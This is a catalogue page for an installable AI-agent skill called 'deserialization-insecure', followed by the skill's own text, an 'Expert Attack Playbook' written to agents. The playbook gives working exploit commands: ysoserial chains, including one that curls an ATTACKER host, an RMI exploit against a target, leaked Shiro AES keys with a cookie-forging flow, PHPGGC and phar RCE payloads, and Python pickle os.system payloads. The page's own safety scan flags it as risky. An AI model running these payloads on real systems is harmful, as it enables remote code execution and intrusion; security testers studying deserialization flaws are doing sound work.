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deserialization-insecure

Insecure deserialization playbook

Install / Use

npx skills add yaklang/hack-skills --skill deserialization-insecure

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

88/100

Supported Platforms

Universal

Our assessment of deserialization-insecure

deserialization-insecure scores 88/100 on our quality scale, 581st of 1,155 Content & Media skills we index.

Its SKILL.md is 24 KB long, well organised into 124 sections with 35 code examples: a thorough specification that gives an agent plenty to work with.

With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
8/15
Adoption
14/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so deserialization-insecure is actively maintained.
  • Our last check on 2026-11-01 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Warning

Our scan of the whole file found 1 high-risk pattern. Read the lines below before installing deserialization-insecure, and do not run it with automatic approvals. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to generate and execute remote-code-execution payloads, e.g., `java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"`, PHPGGC `Laravel/RCE1 system id`, and Python pickle `os.system` payloads.

  • highSends data to a known request-capture serviceline 84
    java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin

AI review: risky

  • The skill instructs the agent to generate and execute remote-code-execution payloads, e.g., `java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"`, PHPGGC `Laravel/RCE1 system id`, and Python pickle `os.system` payloads.
  • It provides steps to steal sessions and exfiltrate data, including hard-coded Shiro AES keys to forge `rememberMe` cookies, DNS callbacks to Burp Collaborator/DNSLog, and output redirection like `whoami > C:\\out.txt`.
  • It directs the agent to use offensive exploit tooling (ysoserial, ysoserial.net, PHPGGC) and to craft gadget-chain/phar/pickle/ViewState payloads, making it an attack playbook rather than defensive guidance.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-02. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

deserialization-insecure compared with similar skills

All 4 of these similar skills score higher than deserialization-insecure; compare them before choosing.

SkillScoreStarsUpdatedFormat
deserialization-insecure (this skill)by yaklang882.3k2mo agoSKILL.md
Agent-Reachby Panniantong100112.3k8d agoCLAUDE.md
headroomby headroomlabs-ai10079.8ktodayCLAUDE.md
Scraplingby D4Vinci100103.6k2d agoMCP Server
crawl4aiby unclecode10087.4k3d agoMCP Server

Frequently asked questions

How do I install deserialization-insecure?
Run npx skills add yaklang/hack-skills --skill deserialization-insecure. The install tabs above show the steps for each supported agent.
Which AI agents does deserialization-insecure work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is deserialization-insecure safe to use?
Our scan of the whole file found 1 high-risk pattern. Read the lines below before installing deserialization-insecure, and do not run it with automatic approvals. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to generate and execute remote-code-execution payloads, e.g., java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned", PHPGGC Laravel/RCE1 system id, and Python pickle os.system payloads. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is deserialization-insecure still maintained?
The repository was last updated about 2 months ago, so deserialization-insecure is actively maintained.

name: deserialization-insecure description: >- Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.

SKILL: Insecure Deserialization — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.

0. RELATED ROUTING

  • jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
  • unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
  • ghost-bits-cast-attack when a WAF blocks your BCEL ClassLoader or Fastjson @type payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint

Advanced Reference

Also load JAVA_GADGET_CHAINS.md when you need:

  • Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
  • SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
  • Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
  • .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
  • Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
  • Detection fingerprints: magic bytes table by format (Java AC ED, .NET AAEAAD, Python pickle 80 0N, PHP O:, Ruby 04 08)

1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?

Java Serialized Objects

| Indicator | Where to Look | |---|---| | Hex ac ed 00 05 | Raw binary in request/response body, cookies, POST params | | Base64 rO0AB | Cookies (rememberMe), hidden form fields, JWT claims | | Content-Type: application/x-java-serialized-object | HTTP headers | | T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |

PHP Serialized Objects

| Indicator | Where to Look | |---|---| | O:NUMBER:"ClassName" pattern | POST body, cookies, session files | | a:NUMBER:{ (array) | Same locations | | phar:// URI usage | File operations accepting user-controlled paths |

Python Pickle

| Indicator | Where to Look | |---|---| | Hex 80 03 or 80 04 (protocol 3/4) | Binary data in requests, message queues | | Base64-encoded binary blob | API params, cookies, Redis values | | pickle.loads / pickle.load in source | Code review / whitebox |


2. JAVA — GADGET CHAINS AND TOOLS

ysoserial — Primary Tool

# Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin

# Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0

# Common chains to try (ordered by frequency of vulnerable dependency):
# CommonsCollections1-7  — Apache Commons Collections 3.x / 4.x
# Spring1, Spring2       — Spring Framework
# Groovy1               — Groovy
# Hibernate1            — Hibernate
# JBossInterceptors1    — JBoss
# Jdk7u21               — JDK 7u21 (no extra dependency)
# URLDNS                — DNS-only confirmation (no RCE, works everywhere)

URLDNS — Safe Confirmation Probe

URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:

java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin

DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.

Commons Collections — The Classic Chain

The vulnerability exists when org.apache.commons.collections (3.x) is on the classpath and the application calls readObject() on untrusted data.

Key classes in the chain: InvokerTransformer → ChainedTransformer → TransformedMap → triggers Runtime.exec() during deserialization.

Apache Shiro — rememberMe Deserialization

Shiro uses AES-CBC to encrypt serialized Java objects in the rememberMe cookie.

Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA==          # most common default
wGJlpLanyXlVB1LUUWolBg==          # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==

Attack flow:

  1. Detect: response sets rememberMe=deleteMe cookie on invalid session
  2. Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
  3. AES-CBC encrypt with known key + random IV
  4. Base64-encode → set as rememberMe cookie value
  5. Send request → server decrypts → deserializes → RCE

DNSLog confirmation (before full RCE): use URLDNS chain → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → encrypt → set cookie → check DNSLog for hit.

Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).

WebLogic Deserialization

Multiple vectors:

  • T3 protocol (port 7001): direct serialized object injection
  • XMLDecoder (CVE-2017-10271): XML-based deserialization via /wls-wsat/CoordinatorPortType
  • IIOP protocol: alternative to T3
# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner

Java RMI Registry

RMI Registry (port 1099) accepts serialized objects by design:

# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"

# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter

JDK Version Constraints

| JDK Version | Impact | |---|---| | < 8u121 | RMI/LDAP remote class loading works | | 8u121-8u190 | trustURLCodebase=false for RMI; LDAP still works | | >= 8u191 | Both RMI and LDAP remote class loading blocked | | >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |


3. PHP — unserialize AND PHAR

Magic Method Chain

PHP deserialization triggers magic methods in order:

__wakeup()  → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call()     → called for inaccessible methods

Attack: craft a serialized object whose __destruct() or __wakeup() triggers dangerous operations (file write, SQL query, command execution, SSRF).

Serialized Object Format

O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}

phpMyAdmin Configuration Injection (Real-World Case)

phpMyAdmin PMA_Config class reads arbitrary files via source property:

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}

PHPGGC — PHP Gadget Chain Generator

# List available chains:
phpggc -l

# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id

# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1

Phar Deserialization

Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called.

Triggering functions (partial list):

file_exists()    file_get_contents()    fopen()
is_file()        is_dir()               copy()
filesize()       filetype()             stat()
include()        require()              getimagesize()

Attack flow:

  1. Upload a valid file (e.g., JPEG with phar polyglot)
  2. Trigger file operation: file_exists("phar://uploads/avatar.jpg")
  3. PHP deserializes phar metadata → gadget chain executes
# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id

4. PYTHON — PICKLE

reduce Method

Python's pickle.loads() calls __reduce__() on objects during deserialization, which can return a callable + args:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()

Analyzing Pickle Opcodes

import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)

Common Python Deserialization Sinks

pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data)           # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)

Defensive Bypass: RestrictedUnpickler

Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"forbidden: {module}.{name}")

If safe_builtins includes eval, exec, or __import__ → still exploitable.


5. DETECTION METHODOLOGY

Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│   ├── Use URLDNS probe for safe confirmation
│   ├── Identify libraries (error messages, known product)
│   └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│   ├── Identify framework (Laravel, Symfony, WordPress)
│   ├── Try PHPGGC chains for that framework
│   └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│   ├── Try pickle payload with DNS callback
│   └── Check if PyYAML unsafe load is used
│
└── Not sure?
    ├── Try URLDNS payload (Java) — check DNS
    ├── Try PHP serialized test string
    └── Monitor error messages for class loading failures

6. DEFENSE AWARENESS

| Language | Mitigation | |---|---| | Java | JEP 290 deserialization filters; whitelist allowed classes; avoid ObjectInputStream on untrusted data; use JSON/Protobuf instead | | PHP | Avoid unserialize() on user input; use json_decode() instead; block phar:// in file operations | | Python | Use pickle only for trusted data; use json for external input; PyYAML: always use yaml.safe_load() |


7. QUICK REFERENCE — KEY PAYLOADS

# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"

# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"

# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"

# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"

# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"

# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>

8. RUBY DESERIALIZATION

Ruby Marshal

  • Marshal.load on untrusted data → RCE
  • Fingerprint: binary data, no common text header
  • Gadget chains exist for various Ruby versions
  • Docker verification: hex payload via [hex_string].pack("H*")

Ruby YAML (YAML.load)

  • YAML.load (not YAML.safe_load) executes arbitrary Ruby objects
  • Pre Ruby 2.7.2: Gem::Requirement chain → git_set: id / git_set: sleep 600
  • Ruby 2.x-3.x: Gem::Installer → TarReader → Kernel#system chain (longer, multi-step)
  • Always test: `YAML.load("--- !ruby/object:Gem::Instal

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars2.3k
CategoryContent
Updated2mo ago
Forks303

Languages

CSS

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions